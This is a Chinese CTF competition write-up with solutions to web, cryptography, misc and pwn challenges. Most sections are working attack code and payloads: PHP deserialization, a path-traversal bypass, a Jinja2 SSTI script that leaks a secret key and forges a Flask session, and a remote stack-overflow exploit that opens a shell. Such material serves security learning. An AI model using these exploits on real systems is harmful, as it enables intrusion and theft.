关联:CTF wp安全学习

web

贪吃蛇

根据提示,分数score要大于300分才能拿到flag,抓包修改score就好了

极简支付

我们的初始金币只有20,根据搜索框看到代金券,因此我们肯定有途径充值金币

打开附件moudels,发现是php反序列化

 
<?php
 
class PromoManager {
    public $promo_credit;
    public $promo_code;
 
    public function __construct($code, $credit) {
        $this->promo_code = $code;
        $this->promo_credit = $credit;
    }
 
    function __destruct() {
        if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
            $_SESSION['balance'] += intval($this->promo_credit);
        }
    }
}
?>

代码逻辑是:变量promo_code的金额

O:12:"PromoManager":2:{s:12:"promo_credit";i:99999;s:10:"promo_code";s:4:"test";}

base64编码

TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6OTk5OTk7czoxMDoicHJvbW9fY29kZSI7czo0OiJ0ZXN0Ijt9

充值成功:

购买flag

flag{8a8724d683820183ed433086a61ace51}

WEB-Enterprise_OA

查看提示

据说使用了严密的目录穿越防护机制,你能找到突破口吗?

访问页面

尝试使用伪协议读取index.php文件

解码后得到

<?php
$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';
$module = str_replace('../', '', $module);
?>
<!DOCTYPE html>
<html>
<head>
    <title>OA System Portal</title>
    <style>
        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background-color: #f0f2f5; text-align: center; margin: 0; padding: 0;}
        .header { background-color: #004080; color: white; padding: 20px; font-size: 24px; font-weight: bold; }
        .container { background-color: white; padding: 20px; border-radius: 8px; margin: 40px auto; width: 60%; box-shadow: 0 4px 8px rgba(0,0,0,0.1); }
        .nav { margin-bottom: 30px; border-bottom: 2px solid #eee; padding-bottom: 10px; }
        .nav a { margin: 0 15px; text-decoration: none; color: #004080; font-weight: bold; }
        .nav a:hover { color: #0066cc; }
        .content { padding: 20px; text-align: left; min-height: 200px; color: #333; line-height: 1.6; }
    </style>
</head>
<body>
    <div class="header">
        Enterprise OA System
    </div>
    <div class="container">
        <div class="nav">
            <a href="?module=public_notices.php">Notices</a>
            <a href="?module=about.php">About Us</a>
            <a href="?module=contact.php">Contact</a>
        </div>
        <div class="content">
            <?php include($module); ?>
        </div>
    </div>
</body>
</html>

替换../为空

使用…/./绕过过滤

直接读取flag.txt得到flag

SSTI

题目是一个 Flask 税务系统,核心漏洞位于 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">preview</font> 功能中:当档案状态为 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">AUDIT_PENDING</font> 时,后端会把用户可控的 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">custom_footer</font> 拼接进模板字符串并调用 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">render_template_string</font> 渲染,导致 Jinja2 SSTI。

虽然 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">custom_footer</font> 存在黑名单过滤,但 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">{{config}}</font><font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">{{config.SECRET_KEY}}</font> 等 payload 未被拦截,可以泄露 Flask 配置中的 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">SECRET_KEY</font>。拿到密钥后伪造 Flask session,将角色改为 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">tax_inspector</font>,即可访问 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/admin/vault</font> 获取 flag。

源码中 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/api/import</font> 允许登录用户更新自己的 profile 字段:

allowed_fields = [‘income’, ‘deductions’, ‘state’, ‘custom_footer’, ‘year’]

<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/preview/<profile_id></font> 中只有当 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">state == 'AUDIT_PENDING'</font> 时才会进入危险渲染分支:

template_html = f"""
...
{custom_footer}
...
"""
return render_template_string(template_html)

因此利用路径为:

  1. 使用默认账号 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">admin / 123456</font> 登录;(源码中看到了)
  2. 调用 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/api/import</font><font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">state</font> 改为 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">AUDIT_PENDING</font>
  3. <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">custom_footer</font> 设置为 Jinja2 payload;
  4. 访问 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/preview/1</font> 触发模板渲染。

先用 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">{{7*7}}</font> 验证 SSTI,可得到输出 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">49</font>

黑名单包含:

[’__’, ’[’, ’]’, ’|’, ’\’, ’+’, ”’”, ’”’, ‘request’, ‘session’, ‘url_for’, ‘popen’, ‘system’]

<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">config</font> 没有被过滤,可以直接读取 Flask 配置:

{{config.SECRET_KEY}}

远端泄露结果:

secret_tax_key_2026_xoxo

<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/admin/vault</font> 的权限校验只检查 session 中的角色:

if session.get('role') != 'tax_inspector':
    return ..., 403

因此使用泄露的 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">SECRET_KEY</font> 伪造 Flask session,令 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">role=tax_inspector</font> 即可。

脚本:

import re
import html
import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
 
base = "http://47.99.147.34:22477"
 
s = requests.Session()
 
# 1. 登录默认账号
r = s.post(
    base + "/login",
    data={"username": "admin", "password": "123456"},
    allow_redirects=False,
    timeout=10,
)
assert r.status_code == 302
 
# 2. 进入 AUDIT_PENDING 分支,并通过 SSTI 泄露 SECRET_KEY
payload = "{{config.SECRET_KEY}}"
s.post(
    base + "/api/import",
    json={
        "profile_id": 1,
        "data": {
            "state": "AUDIT_PENDING",
            "custom_footer": payload,
        },
    },
    timeout=10,
)
 
r = s.get(base + "/preview/1", timeout=10)
m = re.search(r'<div class="mt-12[^>]*>\s*(.*?)\s*</div>', r.text, re.S)
secret_key = html.unescape(m.group(1).strip())
print("SECRET_KEY =", secret_key)
 
# 3. 使用 SECRET_KEY 伪造 Flask session
app = Flask(__name__)
app.secret_key = secret_key
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
forged_cookie = serializer.dumps({"user_id": 1, "role": "tax_inspector"})
 
# 4. 访问管理员金库读取 flag
r = requests.get(
    base + "/admin/vault",
    cookies={"session": forged_cookie},
    timeout=10,
)
 
flag = re.search(r"flag\{[^}]+\}", r.text).group(0)
print(flag)

运行输出:

SECRET_KEY = secret_tax_key_2026_xoxo
flag{a254d76b46619625320bd29d4a52e79f}

登录admin 123456验证

密码

BabyRSA

典型的 低指数 RSA 未填充攻击

因为:e = 3加密是:

c = m³ mod n

但这里 c < n,并且明文 flag 比较短,所以很可能没有发生取模,也就是:c = m³

因此直接对 c 开三次方即可。

from Crypto.Util.number import long_to_bytes
import gmpy2
 
n = 146456207485830767914514765334605396036642227204228987708446660890050815487128006715913622157128235248935655578151481827177840917052845172511421469547232732441806965854703621986999520482471596435061983380595175269092940745113495911485402820490898305634251135388587459830251350617359231575313676293073142199273
e = 3
c = 2217344750798531670826905933197717306478038649111300599282001715469497738630239634028205075519404548701756318035023919662152908861350532333135725865746366678724860476714032941272817671989466245205318687633276948181351107062398131366447344653395924217620196185525247507602021
 
m, exact = gmpy2.iroot(c, 3)
 
print(exact)
print(long_to_bytes(int(m)))

输出:

True
b'flag{62b25772f8b89f180e19a26e2cebb997}'

RSA 使用了小指数 e=3,且没有 padding,明文又太短,导致 m³ < n,可以直接对密文开三次方恢复明文。


ScatterRSA

加密形式是:

cᵢ ≡ (aᵢ·m + bᵢ)³ mod nᵢ

虽然每次的 a、b、n 都不同,但明文 m 相同,且 e = 3 很小。

核心思路:

构造三个多项式:

f₁(x) = (a₁x + b₁)³ - c₁ mod n₁
f₂(x) = (a₂x + b₂)³ - c₂ mod n₂
f₃(x) = (a₃x + b₃)³ - c₃ mod n₃

因为真正的明文 m 满足:

f₁(m) ≡ 0 mod n₁
f₂(m) ≡ 0 mod n₂
f₃(m) ≡ 0 mod n₃

然后对多项式的每一项系数做 CRT,合成一个模:

N = n₁ · n₂ · n₃

上的三次多项式:

F(x) ≡ 0 mod N

由于 flag 很短,m 是小根,可以用 Coppersmith 求小根。

Sage 代码如下:

from sage.all import *
 
def long_to_bytes(n):
    n = int(n)
    return n.to_bytes((n.bit_length() + 7) // 8, "big")
 
e = 3
 
n1 = 106942858976837461231869224985700778482062286073360067401664531056810083958780571502313463376483350698131773553082175875215723887321050148363182735079797616626363005392597385593185664941948197534874212258582102810493286143935415748556536186145362206413165825137102596658269090498262143681608309430440308757483
a1 = 299322928681076422038745665978862379157
b1 = 59087081825181636501158935761312878233448985130888172824087923722210974268705
c1 = 98294624733261319181583988519681835440462282361073935201625891101125390829100807293422676761229527485704773592497676317140386159502203937759033089603745824436086090158155363126240815171760903433001978041454184608846117326755667241724444923731185842787498879658486140909685827166808315057166416446385436338157
 
n2 = 98316426231482946975220425947801720886255114719000796514586297591562275903798640552997266908434574210875738432635350750273976191275978931867337229907998058722410059986521848910740489322024211230961021860961337278448228096641563785010181868332574445300470055958568704370327903434313610576813501939245586716999
a2 = 238175606177678308209456565225464121331
b2 = 72209677443052235578472305367068399561075517868865334527715804876606806849079
c2 = 88401412351676668895751185489122390231114438608063010755900866791975770053335804008673736673911247079044349112634505953389525849238999412142403629818741958448609728629912228248004232558218608993697936231523194426570646371272426953511640995374687770257536086766030334449610400022537915291876862108725263772017
 
n3 = 72725422695793899253139314142362633592506815609086636853568526928203603008459966889354908333262381449316654250663565909258842111058952182342094883201771130466270690676608041755358180159161394939564642949722257047549807728787885968332865646047202276439654826869809727279696887495884775007409012322878986435881
a3 = 293362810333071134334840063072261059660
b3 = 63834403243032230124923183263952558992908714633021292626749573535323605242389
c3 = 68718536017407339439769718499720278152615742583566502851329876282270515709381515122358672880144700924309792042502641894193895098761601183907220576779403200872369777511381788203190872314946279937795612780437730276557999152558818644252231059897779130944032015742444879995522966157358401481873828599118792316846
 
ns = [n1, n2, n3]
a = [a1, a2, a3]
b = [b1, b2, b3]
c = [c1, c2, c3]
 
N = n1 * n2 * n3
 
 
coeffs = []
 
for k in range(4):
    tmp = []
 
    for i in range(3):
        poly_coeff = [
            b[i] ** 3 - c[i],
            3 * a[i] * b[i] ** 2,
            3 * a[i] ** 2 * b[i],
            a[i] ** 3
        ]
 
        tmp.append(poly_coeff[k] % ns[i])
 
    coeffs.append(CRT_list(tmp, ns))
 
P = PolynomialRing(Zmod(N), "x")
x = P.gen()
 
F = coeffs[0] + coeffs[1] * x + coeffs[2] * x ** 2 + coeffs[3] * x ** 3
 
F = F.monic()
 
roots = F.small_roots(X=2 ** 400, beta=1)
 
if not roots:
    print("[-] 没有找到小根")
else:
    for r in roots:
        m = int(r)
        flag = long_to_bytes(m)
 
        print("[+] m =", m)
        print("[+] bytes =", flag)
 
        try:
            print("[+] flag =", flag.decode())
        except Exception:
            print("[-] 无法直接 decode")

跑出来:

flag = flag{e3bed61d917f86053a6ec4a2adb9d34c}

misc

损坏的压缩包

下载附件解压后打开查看

里面有一个data.txt

里面有一串base64编码

YXJwZw==

解码后查看

arpg

补全为flag形式

flag{arpg}

幻影

下载附件后打开

发现存在data.bin文件

对于你前面那串密文:

CgANCxdeCggOXl0PVEEOVFpYQVhVCFxBDQ9bX0EPWA4PWV0JWwlUWwoR

Base64 解码后得到字节:

0A 00 0D 0B 17 5E 0A 08 0E 5E 5D 0F 54 41 0E 54 …

这些不是正常可读文本。

假设它是单字节 XOR,那就可以尝试 0x00 到 0xff 的所有 key。

当 key 是 0x6c 时:

0A ^ 6C = 66 = f

00 ^ 6C = 6C = l

0D ^ 6C = 61 = a

0B ^ 6C = 67 = g

17 ^ 6C = 7B = {

前 5 个字节刚好变成:

flag{

所以可以确认:

XOR key = 0x6c

完整解密结果是:

flag{2fdb21c8-b864-49d0-ac73-c4bc51e7e87f}

也就是说,判断 key 的核心依据是:

密文字节 ^ key = 明文字节

前面五个字符为flag{

都能对上,所以 0x6c 就是正确 key。

迷宫

打开附件

观察前面的字符疑似为base64编码

YTY4NzY0MzE0YTJlOGQzODE4MmU0NWE4ODI4NDEzZDI

解码后得到

a68764314a2e8d38182e45a8828413d2

补全为flag形式

flag{a68764314a2e8d38182e45a8828413d2}

Pwn

PWN-Authenticate

拿到附件 uploads/vuln_2_ 后,先查看程序保护:

checksec ./vuln_2_

可以看到这是一个 64 位 ELF 程序,未开启 PIE,且没有 Canary:

继续查看函数符号:

objdump -t ./vuln_2_ | grep -E "backdoor|login|main"

可以发现程序中存在 backdoorloginmain 三个关键函数:

00000000004011f6 T backdoor
000000000040120d T login
00000000004012a7 T main

其中 backdoor() 函数会直接调用 system

00000000004011f6 <backdoor>:
  4011fe: lea rdi,[rip+0xe03]        # 402008
  401205: call 4010c0 <system@plt>

再查看字符串表,可以发现程序中存在 /bin/sh

strings ./vuln_2_ | grep "/bin/sh"

所以 backdoor() 实际等价于:

system("/bin/sh");

接着分析 login() 函数,发现其中使用了危险函数 gets

401262: lea    rax,[rbp-0x80]
401266: mov    rdi,rax
401269: mov    eax,0x0
40126e: call   401100 <gets@plt>

这里密码缓冲区位于:

rbp - 0x80

返回地址位于:

rbp + 0x8

因此覆盖返回地址需要的偏移为:

0x80 + 0x8 = 0x88

由于是 64 位程序,调用 system() 前需要注意栈 16 字节对齐。如果直接返回到 backdoor,可能因为栈未对齐导致程序崩溃,所以需要先加一个 ret gadget 做栈对齐。

使用的地址如下:

ret gadget:  0x40101a
backdoor:    0x4011f6
offset:      0x88

最终 payload:

b"A" * 0x88 + p64(0x40101a) + p64(0x4011f6)

本地验证脚本如下:

from pwn import *
 
p = process("./vuln_2_")
 
p.recvuntil(b"Username: ")
p.sendline(b"guest")
 
p.recvuntil(b"Password: ")
payload = b"A" * 0x88
payload += p64(0x40101a)
payload += p64(0x4011f6)
 
p.sendline(payload)
 
p.sendline(b"echo PWNED; id; exit")
print(p.recvall(timeout=2).decode(errors="ignore"))

本地输出如下,可以成功执行命令:

Invalid credentials.
PWNED
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)

远程打靶脚本如下:

from pwn import *
 
context.arch = "amd64"
 
HOST = "120.27.146.76"
PORT = 12609
 
ret = 0x40101a
backdoor = 0x4011f6
 
p = remote(HOST, PORT)
 
p.recvuntil(b"Username: ")
p.sendline(b"guest")
 
p.recvuntil(b"Password: ")
 
payload = b"A" * 0x88
payload += p64(ret)
payload += p64(backdoor)
 
p.sendline(payload)
 
p.sendline(b"cat flag; cat /flag; exit")
 
print(p.recvall(timeout=5).decode(errors="ignore"))

运行后成功得到 flag:

Invalid credentials.
flag{e9384c4d9ffb475c906dc4c92c39fcd3}

最终 flag:

flag{e9384c4d9ffb475c906dc4c92c39fcd3}